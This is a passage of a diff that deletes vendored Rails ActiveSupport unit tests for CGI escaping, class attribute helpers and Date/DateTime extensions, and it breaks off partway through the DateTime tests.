--- a/vendor/rails/activesupport/test/core_ext/cgi_ext_test.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'abstract_unit'
-
-class EscapeSkippingSlashesTest < Test::Unit::TestCase
-  def test_array
-    assert_equal 'hello/world', CGI.escape_skipping_slashes(%w(hello world))
-    assert_equal 'hello+world/how/are/you', CGI.escape_skipping_slashes(['hello world', 'how', 'are', 'you'])
-  end
-
-  def test_typical
-    assert_equal 'hi', CGI.escape_skipping_slashes('hi')
-    assert_equal 'hi/world', CGI.escape_skipping_slashes('hi/world')
-    assert_equal 'hi/world+you+funky+thing', CGI.escape_skipping_slashes('hi/world you funky thing')
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/class/attribute_accessor_test.rb b/vendor/rails/activesupport/test/core_ext/class/attribute_accessor_test.rb
deleted file mode 100644
index d6bb1a60..00000000
--- a/vendor/rails/activesupport/test/core_ext/class/attribute_accessor_test.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'abstract_unit'
-
-class ClassAttributeAccessorTest < Test::Unit::TestCase
-  def setup
-    @class = Class.new do
-      cattr_accessor :foo
-      cattr_accessor :bar,  :instance_writer => false
-      cattr_reader   :shaq, :instance_reader => false
-    end
-    @object = @class.new
-  end
-  
-  def test_should_use_mattr_default
-    assert_nil @class.foo
-    assert_nil @object.foo
-  end
-  
-  def test_should_set_mattr_value
-    @class.foo = :test
-    assert_equal :test, @object.foo
-  
-    @object.foo = :test2
-    assert_equal :test2, @class.foo
-  end
-  
-  def test_should_not_create_instance_writer
-    assert @class.respond_to?(:foo)
-    assert @class.respond_to?(:foo=)
-    assert @object.respond_to?(:bar)
-    assert !@object.respond_to?(:bar=)
-  end
-
-
-  def test_should_not_create_instance_reader
-    assert @class.respond_to?(:shaq)
-    assert !@object.respond_to?(:shaq)
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/class/class_inheritable_attributes_test.rb b/vendor/rails/activesupport/test/core_ext/class/class_inheritable_attributes_test.rb
deleted file mode 100644
index 7f859772..00000000
--- a/vendor/rails/activesupport/test/core_ext/class/class_inheritable_attributes_test.rb
+++ /dev/null
@@ -1,224 +0,0 @@
-require 'abstract_unit'
-
-class ClassInheritableAttributesTest < Test::Unit::TestCase
-  def setup
-    @klass = Class.new
-  end
-
-  def test_reader_declaration
-    assert_nothing_raised do
-      @klass.class_inheritable_reader :a
-      assert_respond_to @klass, :a
-      assert_respond_to @klass.new, :a
-    end
-  end
-
-  def test_writer_declaration
-    assert_nothing_raised do
-      @klass.class_inheritable_writer :a
-      assert_respond_to @klass, :a=
-      assert_respond_to @klass.new, :a=
-    end
-  end
-  
-  def test_writer_declaration_without_instance_writer
-    assert_nothing_raised do
-      @klass.class_inheritable_writer :a, :instance_writer => false
-      assert_respond_to @klass, :a=
-      assert !@klass.new.respond_to?(:a=)
-    end
-  end
-
-  def test_accessor_declaration
-    assert_nothing_raised do
-      @klass.class_inheritable_accessor :a
-      assert_respond_to @klass, :a
-      assert_respond_to @klass.new, :a
-      assert_respond_to @klass, :a=
-      assert_respond_to @klass.new, :a=
-    end
-  end
-  
-  def test_accessor_declaration_without_instance_writer
-    assert_nothing_raised do
-      @klass.class_inheritable_accessor :a, :instance_writer => false
-      assert_respond_to @klass, :a
-      assert_respond_to @klass.new, :a
-      assert_respond_to @klass, :a=
-      assert !@klass.new.respond_to?(:a=)
-    end
-  end
-
-  def test_array_declaration
-    assert_nothing_raised do
-      @klass.class_inheritable_array :a
-      assert_respond_to @klass, :a
-      assert_respond_to @klass.new, :a
-      assert_respond_to @klass, :a=
-      assert_respond_to @klass.new, :a=
-    end
-  end
-
-  def test_array_declaration_without_instance_writer
-    assert_nothing_raised do
-      @klass.class_inheritable_array :a, :instance_writer => false
-      assert_respond_to @klass, :a
-      assert_respond_to @klass.new, :a
-      assert_respond_to @klass, :a=
-      assert !@klass.new.respond_to?(:a=)
-    end
-  end
-
-  def test_hash_declaration
-    assert_nothing_raised do
-      @klass.class_inheritable_hash :a
-      assert_respond_to @klass, :a
-      assert_respond_to @klass.new, :a
-      assert_respond_to @klass, :a=
-      assert_respond_to @klass.new, :a=
-    end
-  end
-
-  def test_hash_declaration_without_instance_writer
-    assert_nothing_raised do
-      @klass.class_inheritable_hash :a, :instance_writer => false
-      assert_respond_to @klass, :a
-      assert_respond_to @klass.new, :a
-      assert_respond_to @klass, :a=
-      assert !@klass.new.respond_to?(:a=)
-    end
-  end
-
-  def test_reader
-    @klass.class_inheritable_reader :a
-    assert_nil @klass.a
-    assert_nil @klass.new.a
-
-    @klass.send(:write_inheritable_attribute, :a, 'a')
-
-    assert_equal 'a', @klass.a
-    assert_equal 'a', @klass.new.a
-    assert_equal @klass.a, @klass.new.a
-    assert_equal @klass.a.object_id, @klass.new.a.object_id
-  end
-
-  def test_writer
-    @klass.class_inheritable_reader :a
-    @klass.class_inheritable_writer :a
-
-    assert_nil @klass.a
-    assert_nil @klass.new.a
-
-    @klass.a = 'a'
-    assert_equal 'a', @klass.a
-    @klass.new.a = 'A'
-    assert_equal 'A', @klass.a
-  end
-
-  def test_array
-    @klass.class_inheritable_array :a
-
-    assert_nil @klass.a
-    assert_nil @klass.new.a
-
-    @klass.a = %w(a b c)
-    assert_equal %w(a b c), @klass.a
-    assert_equal %w(a b c), @klass.new.a
-
-    @klass.new.a = %w(A B C)
-    assert_equal %w(a b c A B C), @klass.a
-    assert_equal %w(a b c A B C), @klass.new.a
-  end
-
-  def test_hash
-    @klass.class_inheritable_hash :a
-
-    assert_nil @klass.a
-    assert_nil @klass.new.a
-
-    @klass.a = { :a => 'a' }
-    assert_equal({ :a => 'a' }, @klass.a)
-    assert_equal({ :a => 'a' }, @klass.new.a)
-
-    @klass.new.a = { :b => 'b' }
-    assert_equal({ :a => 'a', :b => 'b' }, @klass.a)
-    assert_equal({ :a => 'a', :b => 'b' }, @klass.new.a)
-  end
-
-  def test_inheritance
-    @klass.class_inheritable_accessor :a
-    @klass.a = 'a'
-
-    @sub = eval("class FlogMe < @klass; end; FlogMe")
-
-    @klass.class_inheritable_accessor :b
-
-    assert_respond_to @sub, :a
-    assert_respond_to @sub, :b
-    assert_equal @klass.a, @sub.a
-    assert_equal @klass.b, @sub.b
-    assert_equal 'a', @sub.a
-    assert_nil @sub.b
-
-    @klass.b = 'b'
-    assert_not_equal @klass.b, @sub.b
-    assert_equal 'b', @klass.b
-    assert_nil @sub.b
-
-    @sub.a = 'A'
-    assert_not_equal @klass.a, @sub.a
-    assert_equal 'a', @klass.a
-    assert_equal 'A', @sub.a
-
-    @sub.b = 'B'
-    assert_not_equal @klass.b, @sub.b
-    assert_equal 'b', @klass.b
-    assert_equal 'B', @sub.b
-  end
-  
-  def test_array_inheritance
-    @klass.class_inheritable_accessor :a
-    @klass.a = []
-
-    @sub = eval("class SubbyArray < @klass; end; SubbyArray")
-    
-    assert_equal [], @klass.a
-    assert_equal [], @sub.a
-    
-    @sub.a << :first
-    
-    assert_equal [:first], @sub.a
-    assert_equal [], @klass.a
-  end
-  
-  def test_array_inheritance_
-    @klass.class_inheritable_accessor :a
-    @klass.a = {}
-
-    @sub = eval("class SubbyHash < @klass; end; SubbyHash")
-    
-    assert_equal Hash.new, @klass.a
-    assert_equal Hash.new, @sub.a
-    
-    @sub.a[:first] = :first
-    
-    assert_equal 1, @sub.a.keys.size
-    assert_equal 0, @klass.a.keys.size
-  end
-  
-  def test_reset_inheritable_attributes
-    @klass.class_inheritable_accessor :a
-    @klass.a = 'a'
-
-    @sub = eval("class Inheriting < @klass; end; Inheriting")
-
-    assert_equal 'a', @klass.a
-    assert_equal 'a', @sub.a
-
-    @klass.reset_inheritable_attributes
-    @sub = eval("class NotInheriting < @klass; end; NotInheriting")
-
-    assert_equal nil, @klass.a
-    assert_equal nil, @sub.a
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/class/delegating_attributes_test.rb b/vendor/rails/activesupport/test/core_ext/class/delegating_attributes_test.rb
deleted file mode 100644
index 7920feec..00000000
--- a/vendor/rails/activesupport/test/core_ext/class/delegating_attributes_test.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-require 'abstract_unit'
-
-module DelegatingFixtures
-  class Parent
-  end
-
-  class Child < Parent
-    class_attribute :some_attribute
-  end
-
-  class Mokopuna < Child
-  end
-end
-
-class DelegatingAttributesTest < Test::Unit::TestCase
-  include DelegatingFixtures
-  attr_reader :single_class
-
-  def setup
-    @single_class = Class.new(Object)
-  end
-
-  def test_simple_reader_declaration
-    single_class.superclass_delegating_reader   :only_reader
-    # The class and instance should have an accessor, but there
-    # should be no mutator
-    assert single_class.respond_to?(:only_reader)
-    assert single_class.respond_to?(:only_reader?)
-    assert single_class.public_instance_methods.map(&:to_s).include?("only_reader")
-    assert single_class.public_instance_methods.map(&:to_s).include?("only_reader?")
-    assert !single_class.respond_to?(:only_reader=)
-  end
-
-  def test_simple_writer_declaration
-    single_class.superclass_delegating_writer   :only_writer
-    # The class should have a mutator, the instances shouldn't
-    # neither should have an accessor
-    assert single_class.respond_to?(:only_writer=)
-    assert !single_class.public_instance_methods.include?("only_writer=")
-    assert !single_class.public_instance_methods.include?("only_writer")
-    assert !single_class.respond_to?(:only_writer)
-  end
-
-  def test_simple_accessor_declaration
-    single_class.class_attribute :both, :instance_writer => false
-    # Class should have accessor and mutator
-    # the instance should have an accessor only
-    assert single_class.respond_to?(:both)
-    assert single_class.respond_to?(:both=)
-    assert single_class.public_instance_methods.map(&:to_s).include?("both")
-    assert !single_class.public_instance_methods.map(&:to_s).include?("both=")
-  end
-
-  def test_working_with_simple_attributes
-    single_class.class_attribute :both
-
-    single_class.both = "HMMM"
-
-    assert_equal "HMMM", single_class.both
-    assert_equal true, single_class.both?
-
-    assert_equal "HMMM", single_class.new.both
-    assert_equal true, single_class.new.both?
-
-    single_class.both = false
-    assert_equal false, single_class.both?
-  end
-
-  def test_working_with_accessors
-    single_class.superclass_delegating_reader   :only_reader
-    single_class.instance_variable_set("@only_reader", "reading only")
-    assert_equal "reading only", single_class.only_reader
-    assert_equal "reading only", single_class.new.only_reader
-  end
-
-  def test_working_with_simple_mutators
-    single_class.superclass_delegating_writer   :only_writer
-    single_class.only_writer="written"
-    assert_equal "written", single_class.instance_variable_get("@only_writer")
-  end
-
-  def test_child_class_delegates_to_parent_but_can_be_overridden
-    parent = Class.new
-    parent.class_attribute :both
-    child = Class.new(parent)
-    parent.both = "1"
-    assert_equal "1", child.both
-
-    child.both = "2"
-    assert_equal "1", parent.both
-    assert_equal "2", child.both
-
-    parent.both = "3"
-    assert_equal "3", parent.both
-    assert_equal "2", child.both
-  end
-
-  def test_delegation_stops_at_the_right_level
-    assert_nil Mokopuna.some_attribute
-    assert_nil Child.some_attribute
-    Child.some_attribute="1"
-    assert_equal "1", Mokopuna.some_attribute
-  ensure
-    Child.some_attribute=nil
-  end
-  
-  def test_delegation_stops_for_nil
-    Mokopuna.some_attribute = nil
-    Child.some_attribute="1"
-    
-    assert_equal "1", Child.some_attribute
-    assert_nil Mokopuna.some_attribute
-  end
-
-end
diff --git a/vendor/rails/activesupport/test/core_ext/class_test.rb b/vendor/rails/activesupport/test/core_ext/class_test.rb
deleted file mode 100644
index 48d8a78a..00000000
--- a/vendor/rails/activesupport/test/core_ext/class_test.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-require 'abstract_unit'
-
-class A
-end
-
-module X
-  class B
-  end
-end
-
-module Y
-  module Z
-    class C
-    end
-  end
-end
-
-class ClassTest < Test::Unit::TestCase
-  def test_removing_class_in_root_namespace
-    assert A.is_a?(Class)
-    Class.remove_class(A)
-    assert_raise(NameError) { A.is_a?(Class) }
-  end
-
-  def test_removing_class_in_one_level_namespace
-    assert X::B.is_a?(Class)
-    Class.remove_class(X::B)
-    assert_raise(NameError) { X::B.is_a?(Class) }
-  end
-
-  def test_removing_class_in_two_level_namespace
-    assert Y::Z::C.is_a?(Class)
-    Class.remove_class(Y::Z::C)
-    assert_raise(NameError) { Y::Z::C.is_a?(Class) }
-  end
-  
-  def test_retrieving_subclasses
-    @parent   = eval("class D; end; D")
-    @sub      = eval("class E < D; end; E")
-    @subofsub = eval("class F < E; end; F")
-    assert_equal 2, @parent.subclasses.size
-    assert_equal [@subofsub.to_s], @sub.subclasses
-    assert_equal [], @subofsub.subclasses
-    assert_equal [@sub.to_s, @subofsub.to_s].sort, @parent.subclasses.sort
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/date_ext_test.rb b/vendor/rails/activesupport/test/core_ext/date_ext_test.rb
deleted file mode 100644
index 3b6eb863..00000000
--- a/vendor/rails/activesupport/test/core_ext/date_ext_test.rb
+++ /dev/null
@@ -1,286 +0,0 @@
-require 'abstract_unit'
-
-class DateExtCalculationsTest < ActiveSupport::TestCase
-  def test_to_s
-    date = Date.new(2005, 2, 21)
-    assert_equal "2005-02-21",          date.to_s
-    assert_equal "21 Feb",              date.to_s(:short)
-    assert_equal "February 21, 2005",   date.to_s(:long)
-    assert_equal "February 21st, 2005", date.to_s(:long_ordinal)
-    assert_equal "2005-02-21",          date.to_s(:db)
-    assert_equal "21 Feb 2005",         date.to_s(:rfc822)
-  end
-
-  def test_readable_inspect
-    assert_equal "Mon, 21 Feb 2005", Date.new(2005, 2, 21).readable_inspect
-    assert_equal Date.new(2005, 2, 21).readable_inspect, Date.new(2005, 2, 21).inspect
-  end
-
-  def test_to_time
-    assert_equal Time.local(2005, 2, 21), Date.new(2005, 2, 21).to_time
-    assert_equal Time.local_time(2039, 2, 21), Date.new(2039, 2, 21).to_time
-  end
-
-  def test_to_datetime
-    assert_equal DateTime.civil(2005, 2, 21), Date.new(2005, 2, 21).to_datetime
-    assert_equal 0, Date.new(2005, 2, 21).to_datetime.offset # use UTC offset
-    assert_equal ::Date::ITALY, Date.new(2005, 2, 21).to_datetime.start # use Ruby's default start value
-  end
-
-  def test_to_date
-    assert_equal Date.new(2005, 2, 21), Date.new(2005, 2, 21).to_date
-  end
-
-  def test_change
-    assert_equal Date.new(2005, 2, 21), Date.new(2005, 2, 11).change(:day => 21)
-    assert_equal Date.new(2007, 5, 11), Date.new(2005, 2, 11).change(:year => 2007, :month => 5)
-    assert_equal Date.new(2006,2,22), Date.new(2005,2,22).change(:year => 2006)
-    assert_equal Date.new(2005,6,22), Date.new(2005,2,22).change(:month => 6)
-  end
-
-  def test_beginning_of_week
-    assert_equal Date.new(2005,1,31),  Date.new(2005,2,4).beginning_of_week
-    assert_equal Date.new(2005,11,28), Date.new(2005,11,28).beginning_of_week #monday
-    assert_equal Date.new(2005,11,28), Date.new(2005,11,29).beginning_of_week #tuesday
-    assert_equal Date.new(2005,11,28), Date.new(2005,11,30).beginning_of_week #wednesday
-    assert_equal Date.new(2005,11,28), Date.new(2005,12,01).beginning_of_week #thursday
-    assert_equal Date.new(2005,11,28), Date.new(2005,12,02).beginning_of_week #friday
-    assert_equal Date.new(2005,11,28), Date.new(2005,12,03).beginning_of_week #saturday
-    assert_equal Date.new(2005,11,28), Date.new(2005,12,04).beginning_of_week #sunday
-  end
-
-  def test_beginning_of_month
-    assert_equal Date.new(2005,2,1), Date.new(2005,2,22).beginning_of_month
-  end
-
-  def test_beginning_of_quarter
-    assert_equal Date.new(2005,1,1),  Date.new(2005,2,15).beginning_of_quarter
-    assert_equal Date.new(2005,1,1),  Date.new(2005,1,1).beginning_of_quarter
-    assert_equal Date.new(2005,10,1), Date.new(2005,12,31).beginning_of_quarter
-    assert_equal Date.new(2005,4,1),  Date.new(2005,6,30).beginning_of_quarter
-  end
-
-  def test_end_of_week
-    assert_equal Date.new(2008,2,24), Date.new(2008,2,22).end_of_week
-    assert_equal Date.new(2008,3,2), Date.new(2008,2,25).end_of_week #monday
-    assert_equal Date.new(2008,3,2), Date.new(2008,2,26).end_of_week #tuesday
-    assert_equal Date.new(2008,3,2), Date.new(2008,2,27).end_of_week #wednesday
-    assert_equal Date.new(2008,3,2), Date.new(2008,2,28).end_of_week #thursday
-    assert_equal Date.new(2008,3,2), Date.new(2008,2,29).end_of_week #friday
-    assert_equal Date.new(2008,3,2), Date.new(2008,3,01).end_of_week #saturday
-    assert_equal Date.new(2008,3,2), Date.new(2008,3,02).end_of_week #sunday
-  end
-
-  def test_end_of_quarter
-    assert_equal Date.new(2008,3,31),  Date.new(2008,2,15).end_of_quarter
-    assert_equal Date.new(2008,3,31),  Date.new(2008,3,31).end_of_quarter
-    assert_equal Date.new(2008,12,31), Date.new(2008,10,8).end_of_quarter
-    assert_equal Date.new(2008,6,30),  Date.new(2008,4,14).end_of_quarter
-    assert_equal Date.new(2008,6,30),  Date.new(2008,5,31).end_of_quarter
-    assert_equal Date.new(2008,9,30),  Date.new(2008,8,21).end_of_quarter
-  end
-
-  def test_end_of_year
-    assert_equal Date.new(2008,12,31).to_s, Date.new(2008,2,22).end_of_year.to_s
-  end
-
-  def test_end_of_month
-    assert_equal Date.new(2005,3,31), Date.new(2005,3,20).end_of_month
-    assert_equal Date.new(2005,2,28), Date.new(2005,2,20).end_of_month
-    assert_equal Date.new(2005,4,30), Date.new(2005,4,20).end_of_month
-
-  end
-
-  def test_beginning_of_year
-    assert_equal Date.new(2005,1,1).to_s, Date.new(2005,2,22).beginning_of_year.to_s
-  end
-
-  def test_months_ago
-    assert_equal Date.new(2005,5,5),  Date.new(2005,6,5).months_ago(1)
-    assert_equal Date.new(2004,11,5), Date.new(2005,6,5).months_ago(7)
-    assert_equal Date.new(2004,12,5), Date.new(2005,6,5).months_ago(6)
-    assert_equal Date.new(2004,6,5),  Date.new(2005,6,5).months_ago(12)
-    assert_equal Date.new(2003,6,5),  Date.new(2005,6,5).months_ago(24)
-  end
-
-  def test_months_since
-    assert_equal Date.new(2005,7,5),  Date.new(2005,6,5).months_since(1)
-    assert_equal Date.new(2006,1,5),  Date.new(2005,12,5).months_since(1)
-    assert_equal Date.new(2005,12,5), Date.new(2005,6,5).months_since(6)
-    assert_equal Date.new(2006,6,5),  Date.new(2005,12,5).months_since(6)
-    assert_equal Date.new(2006,1,5),  Date.new(2005,6,5).months_since(7)
-    assert_equal Date.new(2006,6,5),  Date.new(2005,6,5).months_since(12)
-    assert_equal Date.new(2007,6,5),  Date.new(2005,6,5).months_since(24)
-    assert_equal Date.new(2005,4,30),  Date.new(2005,3,31).months_since(1)
-    assert_equal Date.new(2005,2,28),  Date.new(2005,1,29).months_since(1)
-    assert_equal Date.new(2005,2,28),  Date.new(2005,1,30).months_since(1)
-    assert_equal Date.new(2005,2,28),  Date.new(2005,1,31).months_since(1)
-  end
-
-  def test_years_ago
-    assert_equal Date.new(2004,6,5),  Date.new(2005,6,5).years_ago(1)
-    assert_equal Date.new(1998,6,5), Date.new(2005,6,5).years_ago(7)
-    assert_equal Date.new(2003,2,28), Date.new(2004,2,29).years_ago(1) # 1 year ago from leap day
-  end
-
-  def test_years_since
-    assert_equal Date.new(2006,6,5),  Date.new(2005,6,5).years_since(1)
-    assert_equal Date.new(2012,6,5),  Date.new(2005,6,5).years_since(7)
-    assert_equal Date.new(2182,6,5),  Date.new(2005,6,5).years_since(177)
-    assert_equal Date.new(2005,2,28), Date.new(2004,2,29).years_since(1) # 1 year since leap day
-  end
-
-  def test_last_year_is_deprecated
-    assert_deprecated { Date.today.last_year }
-  end
-
-  def test_prev_year
-    assert_equal Date.new(2004,6,5),  Date.new(2005,6,5).prev_year
-  end
-
-  def test_next_year
-    assert_equal Date.new(2006,6,5), Date.new(2005,6,5).next_year
-  end
-
-  def test_yesterday
-    assert_equal Date.new(2005,2,21), Date.new(2005,2,22).yesterday
-    assert_equal Date.new(2005,2,28), Date.new(2005,3,2).yesterday.yesterday
-  end
-
-  def test_tomorrow
-    assert_equal Date.new(2005,2,23), Date.new(2005,2,22).tomorrow
-    assert_equal Date.new(2005,3,2),  Date.new(2005,2,28).tomorrow.tomorrow
-  end
-
-  def test_advance
-    assert_equal Date.new(2006,2,28), Date.new(2005,2,28).advance(:years => 1)
-    assert_equal Date.new(2005,6,28), Date.new(2005,2,28).advance(:months => 4)
-    assert_equal Date.new(2005,3,21), Date.new(2005,2,28).advance(:weeks => 3)
-    assert_equal Date.new(2005,3,5), Date.new(2005,2,28).advance(:days => 5)
-    assert_equal Date.new(2012,9,28), Date.new(2005,2,28).advance(:years => 7, :months => 7)
-    assert_equal Date.new(2013,10,3), Date.new(2005,2,28).advance(:years => 7, :months => 19, :days => 5)
-    assert_equal Date.new(2013,10,17), Date.new(2005,2,28).advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
-    assert_equal Date.new(2005,2,28), Date.new(2004,2,29).advance(:years => 1) #leap day plus one year
-  end
-
-  def test_next_week
-    assert_equal Date.new(2005,2,28), Date.new(2005,2,22).next_week
-    assert_equal Date.new(2005,3,4), Date.new(2005,2,22).next_week(:friday)
-    assert_equal Date.new(2006,10,30), Date.new(2006,10,23).next_week
-    assert_equal Date.new(2006,11,1), Date.new(2006,10,23).next_week(:wednesday)
-  end
-
-  def test_next_month_on_31st
-    assert_equal Date.new(2005, 9, 30), Date.new(2005, 8, 31).next_month
-  end
-
-  def test_last_month_is_deprecated
-    assert_deprecated { Date.today.last_month }
-  end
-
-  def test_prev_month_on_31st
-    assert_equal Date.new(2004, 2, 29), Date.new(2004, 3, 31).prev_month
-  end
-
-  def test_yesterday_constructor
-    assert_equal Date.today - 1, Date.yesterday
-  end
-
-  def test_tomorrow_constructor
-    assert_equal Date.today + 1, Date.tomorrow
-  end
-
-  def test_since
-    assert_equal Time.local(2005,2,21,0,0,45), Date.new(2005,2,21).since(45)
-  end
-
-  def test_ago
-    assert_equal Time.local(2005,2,20,23,59,15), Date.new(2005,2,21).ago(45)
-  end
-
-  def test_beginning_of_day
-    assert_equal Time.local(2005,2,21,0,0,0), Date.new(2005,2,21).beginning_of_day
-  end
-
-  def test_end_of_day
-    assert_equal Time.local(2005,2,21,23,59,59,999999.999), Date.new(2005,2,21).end_of_day
-  end
-
-  def test_xmlschema
-    with_env_tz 'US/Eastern' do
-      assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
-      assert_match(/^1980-06-28T00:00:00-04:?00$/, Date.new(1980, 6, 28).xmlschema)
-      # these tests are only of interest on platforms where older dates #to_time fail over to DateTime
-      if ::DateTime === Date.new(1880, 6, 28).to_time
-        assert_match(/^1880-02-28T00:00:00-05:?00$/, Date.new(1880, 2, 28).xmlschema)
-        assert_match(/^1880-06-28T00:00:00-05:?00$/, Date.new(1880, 6, 28).xmlschema) # DateTimes aren't aware of DST rules
-      end
-    end
-  end
-
-  def test_today
-    Date.stubs(:current).returns(Date.new(2000, 1, 1))
-    assert_equal false, Date.new(1999, 12, 31).today?
-    assert_equal true, Date.new(2000,1,1).today?
-    assert_equal false, Date.new(2000,1,2).today?
-  end
-
-  def test_past
-    Date.stubs(:current).returns(Date.new(2000, 1, 1))
-    assert_equal true, Date.new(1999, 12, 31).past?
-    assert_equal false, Date.new(2000,1,1).past?
-    assert_equal false, Date.new(2000,1,2).past?
-  end
-
-  def test_future
-    Date.stubs(:current).returns(Date.new(2000, 1, 1))
-    assert_equal false, Date.new(1999, 12, 31).future?
-    assert_equal false, Date.new(2000,1,1).future?
-    assert_equal true, Date.new(2000,1,2).future?
-  end
-
-  def test_current_returns_date_today_when_zone_default_not_set
-    with_env_tz 'US/Central' do
-      Time.stubs(:now).returns Time.local(1999, 12, 31, 23)
-      assert_equal Date.new(1999, 12, 31), Date.today
-      assert_equal Date.new(1999, 12, 31), Date.current
-    end
-  end
-
-  def test_current_returns_time_zone_today_when_zone_default_set
-    Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    with_env_tz 'US/Central' do
-      Time.stubs(:now).returns Time.local(1999, 12, 31, 23)
-      assert_equal Date.new(1999, 12, 31), Date.today
-      assert_equal Date.new(2000, 1, 1), Date.current
-    end
-  ensure
-    Time.zone_default = nil
-  end
-
-  def test_date_advance_should_not_change_passed_options_hash
-    options = { :years => 3, :months => 11, :days => 2 }
-    Date.new(2005,2,28).advance(options)
-    assert_equal({ :years => 3, :months => 11, :days => 2 }, options)
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
-
-class DateExtBehaviorTest < Test::Unit::TestCase
-  def test_date_acts_like_date
-    assert Date.new.acts_like_date?
-  end
-
-  def test_freeze_doesnt_clobber_memoized_instance_methods
-    assert_nothing_raised do
-      Date.today.freeze.inspect
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/date_time_ext_test.rb b/vendor/rails/activesupport/test/core_ext/date_time_ext_test.rb
deleted file mode 100644
index fccf130b..00000000
--- a/vendor/rails/activesupport/test/core_ext/date_time_ext_test.rb
+++ /dev/null
@@ -1,363 +0,0 @@
-require 'abstract_unit'
-
-class DateTimeExtCalculationsTest < Test::Unit::TestCase
-  def test_to_s
-    datetime = DateTime.new(2005, 2, 21, 14, 30, 0, 0)
-    assert_equal "2005-02-21 14:30:00",               datetime.to_s(:db)
-    assert_equal "14:30",                             datetime.to_s(:time)
-    assert_equal "21 Feb 14:30",                      datetime.to_s(:short)
-    assert_equal "February 21, 2005 14:30",           datetime.to_s(:long)
-    assert_equal "Mon, 21 Feb 2005 14:30:00 +0000",   datetime.to_s(:rfc822)
-    assert_equal "February 21st, 2005 14:30",         datetime.to_s(:long_ordinal)
-    assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/,  datetime.to_s)
-  end
-
-  def test_readable_inspect
-    datetime = DateTime.new(2005, 2, 21, 14, 30, 0)
-    assert_equal "Mon, 21 Feb 2005 14:30:00 +0000", datetime.readable_inspect
-    assert_equal datetime.readable_inspect, datetime.inspect
-  end
-
-  def test_custom_date_format
-    Time::DATE_FORMATS[:custom] = '%Y%m%d%H%M%S'
-    assert_equal '20050221143000', DateTime.new(2005, 2, 21, 14, 30, 0).to_s(:custom)
-    Time::DATE_FORMATS.delete(:custom)
-  end
-
-  def test_to_date
-    assert_equal Date.new(2005, 2, 21), DateTime.new(2005, 2, 21).to_date
-  end
-
-  def test_to_datetime
-    assert_equal DateTime.new(2005, 2, 21), DateTime.new(2005, 2, 21).to_datetime
-  end
-
-  def test_to_time
-    assert_equal Time.utc(2005, 2, 21, 10, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0, 0).to_time
-    assert_equal Time.utc_time(2039, 2, 21, 10, 11, 12), DateTime.new(2039, 2, 21, 10, 11, 12, 0, 0).to_time
-    # DateTimes with offsets other than 0 are returned unaltered
-    assert_equal DateTime.new(2005, 2, 21, 10, 11, 12, Rational(-5, 24)), DateTime.new(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).to_time
-  end
-
-  def test_seconds_since_midnight
-    assert_equal 1,DateTime.civil(2005,1,1,0,0,1).seconds_since_midnight
-    assert_equal 60,DateTime.civil(2005,1,1,0,1,0).seconds_since_midnight
-    assert_equal 3660,DateTime.civil(2005,1,1,1,1,0).seconds_since_midnight
-    assert_equal 86399,DateTime.civil(2005,1,1,23,59,59).seconds_since_midnight
-  end
-
-  def test_beginning_of_week
-    assert_equal DateTime.civil(2005,1,31), DateTime.civil(2005,2,4,10,10,10).beginning_of_week
-    assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,11,28,0,0,0).beginning_of_week #monday
-    assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,11,29,0,0,0).beginning_of_week #tuesday
-    assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,11,30,0,0,0).beginning_of_week #wednesday
-    assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,12,01,0,0,0).beginning_of_week #thursday
-    assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,12,02,0,0,0).beginning_of_week #friday
-    assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,12,03,0,0,0).beginning_of_week #saturday
-    assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,12,04,0,0,0).beginning_of_week #sunday
-  end
-
-  def test_beginning_of_day
-    assert_equal DateTime.civil(2005,2,4,0,0,0), DateTime.civil(2005,2,4,10,10,10).beginning_of_day
-  end
-
-  def test_end_of_day
-    assert_equal DateTime.civil(2005,2,4,23,59,59), DateTime.civil(2005,2,4,10,10,10).end_of_day
-  end
-
-  def test_beginning_of_month
-    assert_equal DateTime.civil(2005,2,1,0,0,0), DateTime.civil(2005,2,22,10,10,10).beginning_of_month
-  end
-
-  def test_beginning_of_quarter
-    assert_equal DateTime.civil(2005,1,1,0,0,0), DateTime.civil(2005,2,15,10,10,10).beginning_of_quarter
-    assert_equal DateTime.civil(2005,1,1,0,0,0), DateTime.civil(2005,1,1,0,0,0).beginning_of_quarter
-    assert_equal DateTime.civil(2005,10,1,0,0,0), DateTime.civil(2005,12,31,10,10,10).beginning_of_quarter
-    assert_equal DateTime.civil(2005,4,1,0,0,0), DateTime.civil(2005,6,30,23,59,59).beginning_of_quarter
-  end
-
-  def test_end_of_month
-    assert_equal DateTime.civil(2005,3,31,23,59,59), DateTime.civil(2005,3,20,10,10,10).end_of_month
-    assert_equal DateTime.civil(2005,2,28,23,59,59), DateTime.civil(2005,2,20,10,10,10).end_of_month
-    assert_equal DateTime.civil(2005,4,30,23,59,59), DateTime.civil(2005,4,20,10,10,10).end_of_month
-  end
-
-  def test_beginning_of_year
-    assert_equal DateTime.civil(2005,1,1,0,0,0), DateTime.civil(2005,2,22,10,10,10).beginning_of_year
-  end
-
-  def test_months_ago
-    assert_equal DateTime.civil(2005,5,5,10),  DateTime.civil(2005,6,5,10,0,0).months_ago(1)
